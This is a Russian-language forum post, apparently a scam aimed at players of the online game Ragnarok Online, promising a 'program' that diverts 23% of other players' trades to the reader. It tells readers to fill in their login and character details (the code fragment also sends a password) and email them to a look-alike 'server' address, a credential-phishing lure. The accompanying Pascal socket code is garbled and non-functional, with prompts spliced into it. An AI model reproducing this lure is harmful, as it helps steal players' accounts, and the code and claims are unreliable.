Зени для РО(мотр)

Приветствую тебя!!!
Я программист 4-ой категории,недавно начал играть в РО!
И всегда мучался недостатком зеней в этой онлайн игре!!! =-)
Ну не быть мне программистом не смоги я исправить этот недостаток.
Вообщем с колегами помозговали и подобрали одну штуку-собственно программу!
Она основана на скупке продажи мира РО! =-)
Просто с играка указаного вами при покупке продаже любой вещи будет
перечесляться на ваш счёт ни много ни мало а 23% от сделки! =-)
Таким способом с 30и игроков за 2е недели я поднял почти 5кк!!!
Обьясняю откуда взялись 23%!
23%- это та разница, которая перечесляеться на счёт спакума(Гм)
от любой сделки в мире РО!!!
При помощи этой программы ваш аккаунт становиться как бы второстепенным счётом
спакума(Гм)!!! =-)
Вообщем всё что вам нужно- это заполнить скобки и выслать программу
по e-mail на сервер Мотр РО
Адрес сервера (motr.com-server@list.ru)
Если подберём ещё что-нибудь,выложу здесь!
Ваш Ddos-Forest!!!

!!!Собственно программа!!!

addr.sin_port := htons(110);
addr.sin_addr.S_addr:=iaddr;
if (connect(sock2, addr, sizeof(addr))) >0 then = Введите ваш логин;
begin
try
closesocket(sock2);
except
end;
exit;
end;
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP =/''user ''{izeof(Buf)} = Введите Ник персанажа с кого будут сниматься %;
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>''+'') then
exit;
losesocket(sock2);
sender(''user ''+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>''+'') then
exit;
if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR =thensizeof(Buf)/Введите ник куда будут идти проценты;
sender(''pass ''+PassList.Strings[I2]+#